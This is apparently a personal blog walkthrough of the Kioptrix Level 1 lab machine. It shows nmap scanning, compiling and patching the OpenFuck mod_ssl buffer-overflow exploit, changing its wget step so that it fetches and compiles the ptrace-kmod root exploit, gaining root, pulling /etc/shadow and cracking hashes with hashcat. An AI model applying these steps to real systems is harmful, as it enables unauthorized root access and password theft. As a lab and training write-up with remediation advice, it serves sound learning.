Today’s boot2root machine is an old one: Kioptrix Level 1 from all the way back in 2010. I’ve got the machine downloaded and added to my lab network on my ESXi server.

Finding the target system

Usually in a pentest scenario you’ll have some sort of address – an IP, a URL. Here we just have a network segment. I know my lab is on the 10.10.10.0/24 subnet. So we run an nmap discovery scan. This does a discovery scan without a port scan. Nmap will use an ICMP echo, TCP SYN to port 443, TCP ACK to port 80 and an ICMP timestamp request by default. When scanning a local network (like we are here) an ARP request is used.

Our IP is 10.10.10.100, so by process of elimination 10.10.10.101 is our target.

Scanning and Enumeration

Alright, we have our target, let’s see what it’s running that we can access remotely. Back to nmap. I like to do a quick scan for all ports to start off with.

After our initial scan, we found 6 open ports. Now let’s focus our more intense scan to just these ports we know are open. I added in one we know is closed to help with the OS detection – which should probably have been run in the first scan…

└─$ sudo nmap -A -p 22,80,111,139,443,1024,23 -oA services 10.10.10.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-29 18:33 PDT
Nmap scan report for 10.10.10.101
Host is up (0.00027s latency).

PORT     STATE  SERVICE     VERSION
22/tcp   open   ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
23/tcp   closed telnet
80/tcp   open   http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open   rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1           1024/tcp   status
|_  100024  1           1024/udp   status
139/tcp  open   netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open   ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after:  2010-09-26T09:32:06
|_ssl-date: 2021-04-30T05:35:03+00:00; +4h00m01s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_DES_64_CBC_WITH_MD5
1024/tcp open   status      1 (RPC #100024)
MAC Address: 00:0C:29:B9:18:A6 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: 4h00m00s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.27 ms 10.10.10.101

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.92 seconds

From experience, openSSH hasn’t had any helpful remote code execution type bugs, so let’s skip that for know. Based on some older version numbers, we may have some low hanging fruit we can use.

Port 80 and 443

If we open a web browser and navigate to http://10.10.10.101 or https://10.10.10.101 we see the same page.

If you poke around a bit more (or perhaps use Dirbuster or gobuster or something similar) you can find a Webalyzer page, or a Multi Router Traffic Grapher (MRTG) page, some docs, etc. Nothing that interesting off the bat, so let’s see if any of the version numbers nmap gave up help out.

443/tcp  open   ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

Using searchsploit, I didn’t see any interesting CVEs for Apache 1.3.20. So I moved on to mod_ssl version 2.8.4.

└─$ searchsploit mod_ssl
-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service                                 | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                      | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow            | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)      | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)      | unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY | unix/remote/40347.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Alright! Remote Buffer Overflow! Let’s exploit that.

How the mod_ssl exploit works

This is CVE-2002-0082. There is a remotely exploitable buffer overflow when attempting to cache SSL sessions. mod_ssl with serialize SSL session variables to store them for later use. These variables are stored in a buffer of a fixed size without proper boundary checks.

Exploitation requires a server that is configured to require client certificates and the attack must obtain a certificate that has been signed by a Certificate Authority trusted by the server. If these conditions are met, it is possible for an attacker to execute arbitrary code on the server.

How the local privilege escalation exploit works

The mod_ssl exploit will get us a low privileged shell on the remote system. To elevate to root privileges, we need an additional exploit. In this case we’re going to use the ptrace/kmod local root exploit CVE-2003-0127.

There is a race condition in the kernel/kmod.c code which creates a kernel thread in an insecure manner. This exploit allows local users to gain root privileges by using ptrace to attach to a child process that is spawned by the kernel.

mod_ssl 2.8.7 exploitation

I’m going to start with the first OpenFuckv2.c exploit code 764.c. There wasn’t anything special with this decision. It was the first of the v2 code, so I thought I’d start there.

When I first tried to compile I ran into some errors. It’s a really old exploit…so that’s not terribly surprising. Here’s how I got it working. I’m not a great C coder, so it was a lot of trial and error and stack overflow searching, but I got it working in the end.

# Install an older version of openssl
sudo apt-get install libssl1.0-dev

# Copy the exploit code from searchsploit to your working folder
cp /usr/share/exploitdb/exploits/unix/remote/764.c exploit.c

The last thing we need to grab is the ptrace-kmod.c local exploit. When the exploit code is run, it uses a buffer overflow to open a shell as the apache user…a low privileged account. The exploit code contains a request to pull, compile and execute a local privilege escalation exploit as well. However, the URL referenced in this code is no longer working…but the exploit code is still on github. Since my lab isn’t connected to the internet, I need to pull this down and host locally. The code is here.

Once you have that, cd into the directory with the downloaded file and start a python web server to serve the file. I use this all the time.

python3 -m http.server

Open up the exploit code exploit.c in a code editor. I’ve gone to the dark side recently. I’m trying out VS Code and I’m kinda liking it….but I digress.

We need to add 2 include statements, update the URL for ptrace-kmod and update a variable declaration.

Under the rest of the include statements, add the following 2 lines:

#include <openssl/rc.h>
#include <openssl/md5.h>

Around line 962 or so you will see the following.

unsigned char *p, *end;

Edit this line to read

const unsigned char *p, *end;

Lastly, let’s update the wget URL. Search for the phrase wget. Edit the URL to match the one you have running. In my case it is:

http://10.10.10.100:8000/ptrace-kmod.c

Save those changes. We should be ready to go now.

You can compile the code by running

gcc -o exploit exploit.c -lcrypto

Now we can test out exploit.

./exploit
*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./exploit target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)
  

  Supported OffSet:
        0x00 - Caldera OpenLinux (apache-1.3.26)
        0x01 - Cobalt Sun 6.0 (apache-1.3.12)
        0x02 - Cobalt Sun 6.0 (apache-1.3.20)
        0x03 - Cobalt Sun x (apache-1.3.26)
        0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
        0x05 - Conectiva 4 (apache-1.3.6)
        0x06 - Conectiva 4.1 (apache-1.3.9)
        0x07 - Conectiva 6 (apache-1.3.14)
        0x08 - Conectiva 7 (apache-1.3.12)
        0x09 - Conectiva 7 (apache-1.3.19)
        0x0a - Conectiva 7/8 (apache-1.3.26)
        0x0b - Conectiva 8 (apache-1.3.22)
        0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)
        0x0d - Debian GNU Linux (apache_1.3.19-1)
        0x0e - Debian GNU Linux (apache_1.3.22-2)
        0x0f - Debian GNU Linux (apache-1.3.22-2.1)
        0x10 - Debian GNU Linux (apache-1.3.22-5)
        0x11 - Debian GNU Linux (apache_1.3.23-1)
        0x12 - Debian GNU Linux (apache_1.3.24-2.1)
        0x13 - Debian Linux GNU Linux 2 (apache_1.3.24-2.1)
        0x14 - Debian GNU Linux (apache_1.3.24-3)
        0x15 - Debian GNU Linux (apache-1.3.26-1)
        0x16 - Debian GNU Linux 3.0 Woody (apache-1.3.26-1)
        0x17 - Debian GNU Linux (apache-1.3.27)
        0x18 - FreeBSD (apache-1.3.9)
        0x19 - FreeBSD (apache-1.3.11)
        0x1a - FreeBSD (apache-1.3.12.1.40)
        0x1b - FreeBSD (apache-1.3.12.1.40)
        0x1c - FreeBSD (apache-1.3.12.1.40)
        0x1d - FreeBSD (apache-1.3.12.1.40_1)
        0x1e - FreeBSD (apache-1.3.12)
        0x1f - FreeBSD (apache-1.3.14)
        0x20 - FreeBSD (apache-1.3.14)
        0x21 - FreeBSD (apache-1.3.14)
        0x22 - FreeBSD (apache-1.3.14)
        0x23 - FreeBSD (apache-1.3.14)
        0x24 - FreeBSD (apache-1.3.17_1)
        0x25 - FreeBSD (apache-1.3.19)
        0x26 - FreeBSD (apache-1.3.19_1)
        0x27 - FreeBSD (apache-1.3.20)
        0x28 - FreeBSD (apache-1.3.20)
        0x29 - FreeBSD (apache-1.3.20+2.8.4)
        0x2a - FreeBSD (apache-1.3.20_1)
        0x2b - FreeBSD (apache-1.3.22)
        0x2c - FreeBSD (apache-1.3.22_7)
        0x2d - FreeBSD (apache_fp-1.3.23)
        0x2e - FreeBSD (apache-1.3.24_7)
        0x2f - FreeBSD (apache-1.3.24+2.8.8)
        0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)
        0x31 - FreeBSD 4.6-Realease (apache-1.3.26)
        0x32 - FreeBSD (apache-1.3.27)
        0x33 - Gentoo Linux (apache-1.3.24-r2)
        0x34 - Linux Generic (apache-1.3.14)
        0x35 - Mandrake Linux X.x (apache-1.3.22-10.1mdk)
        0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)
        0x37 - Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)
        0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)
        0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2
        0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
        0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
        0x3c - Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)
        0x3d - Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)
        0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)
        0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
        0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)
        0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)
        0x42 - Mandrake Linux 8.2 (apache-1.3.24)
        0x43 - Mandrake Linux 9 (apache-1.3.26)
        0x44 - RedHat Linux ?.? GENERIC (apache-1.3.12-1)
        0x45 - RedHat Linux TEST1 (apache-1.3.12-1)
        0x46 - RedHat Linux TEST2 (apache-1.3.12-1)
        0x47 - RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)
        0x48 - RedHat Linux 4.2 (apache-1.1.3-3)
        0x49 - RedHat Linux 5.0 (apache-1.2.4-4)
        0x4a - RedHat Linux 5.1-Update (apache-1.2.6)
        0x4b - RedHat Linux 5.1 (apache-1.2.6-4)
        0x4c - RedHat Linux 5.2 (apache-1.3.3-1)
        0x4d - RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)
        0x4e - RedHat Linux 6.0 (apache-1.3.6-7)
        0x4f - RedHat Linux 6.0 (apache-1.3.6-7)
        0x50 - RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)
        0x51 - RedHat Linux 6.0 Update (apache-1.3.24)
        0x52 - RedHat Linux 6.1 (apache-1.3.9-4)1
        0x53 - RedHat Linux 6.1 (apache-1.3.9-4)2
        0x54 - RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)
        0x55 - RedHat Linux 6.1-fp2000 (apache-1.3.26)
        0x56 - RedHat Linux 6.2 (apache-1.3.12-2)1
        0x57 - RedHat Linux 6.2 (apache-1.3.12-2)2
        0x58 - RedHat Linux 6.2 mod(apache-1.3.12-2)3
        0x59 - RedHat Linux 6.2 update (apache-1.3.22-5.6)1
        0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2
        0x5b - Redhat Linux 7.x (apache-1.3.22)
        0x5c - RedHat Linux 7.x (apache-1.3.26-1)
        0x5d - RedHat Linux 7.x (apache-1.3.27)
        0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1
        0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2
        0x60 - RedHat Linux 7.0 (apache-1.3.14-2)
        0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)
        0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)
        0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)
        0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1
        0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2
        0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)
        0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)
        0x68 - RedHat Linux 7.1 (apache-1.3.22-src)
        0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)
        0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
        0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
        0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
        0x6d - RedHat Linux 7.2 (apache-1.3.24)
        0x6e - RedHat Linux 7.2 (apache-1.3.26)
        0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)
        0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1
        0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2
        0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)
        0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1
        0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2
        0x75 - RedHat Linux 7.3 (apache-1.3.27)
        0x76 - RedHat Linux 8.0 (apache-1.3.27)
        0x77 - RedHat Linux 8.0-second (apache-1.3.27)
        0x78 - RedHat Linux 8.0 (apache-2.0.40)
        0x79 - Slackware Linux 4.0 (apache-1.3.6)
        0x7a - Slackware Linux 7.0 (apache-1.3.9)
        0x7b - Slackware Linux 7.0 (apache-1.3.26)
        0x7c - Slackware 7.0  (apache-1.3.26)2
        0x7d - Slackware Linux 7.1 (apache-1.3.12)
        0x7e - Slackware Linux 8.0 (apache-1.3.20)
        0x7f - Slackware Linux 8.1 (apache-1.3.24)
        0x80 - Slackware Linux 8.1 (apache-1.3.26)
        0x81 - Slackware Linux 8.1-stable (apache-1.3.26)
        0x82 - Slackware Linux (apache-1.3.27)
        0x83 - SuSE Linux 7.0 (apache-1.3.12)
        0x84 - SuSE Linux 7.1 (apache-1.3.17)
        0x85 - SuSE Linux 7.2 (apache-1.3.19)
        0x86 - SuSE Linux 7.3 (apache-1.3.20)
        0x87 - SuSE Linux 8.0 (apache-1.3.23)
        0x88 - SUSE Linux 8.0 (apache-1.3.23-120)
        0x89 - SuSE Linux 8.0 (apache-1.3.23-137)
        0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)

Fuck to all guys who like use lamah ddos. Read SRC to have no surprise

Ok. That’s a lot of output. But the syntax we need is ./exploit <target code> <port number> -c <connections>. We know from nmap and navigating to the site in a browser, we have a RedHat system running Apache 1.3.20. So that narrows our code down to 2 options:

0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

I tried 0x6a first. No luck. So I tried 0x6b after and it worked! We have root access!

Post Exploitation

My usual first steps are to pull the /etc/passwd and /etc/shadow files on linux systems. That way I can crack the hashes while I continue to work.

Next I started to poke through the file system. A lot of these have a root.txt or flag.txt file. Something along those line. I didn’t see any here…but I did stumble on the /var/mail directory.

Close enough to a flag for me.

Cracking the Passwords

Using the /etc/passwd and /etc/shadow files I downloaded, I thought I’d try to crack the passwords using rockyou.txt as a wordlist and hashcat and my GPU to do the cracking. I’ll update this post as or if any passwords are recovered.

.\hashcat.exe -m 500 -r rules/dive.rule passwd.txt F:\rockyou.txt
$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:WebMaster
$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:_NOT_CRACKED_
$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1: _NOT_CRACKED_

Remediations

This is an easy vulnerability to remediate. Update the Apache-SSL and mod_ssl packages to remediate this finding. The ptrace-kmod exploit can be handled in a similar manner – update the linux kernel to a later version.

Overall thoughts

Overall this was a pretty easy machine…hardest part was resurrecting almost 20 year old exploit code…and remembering apache2 is called httpd on RHEL/CentOS systems.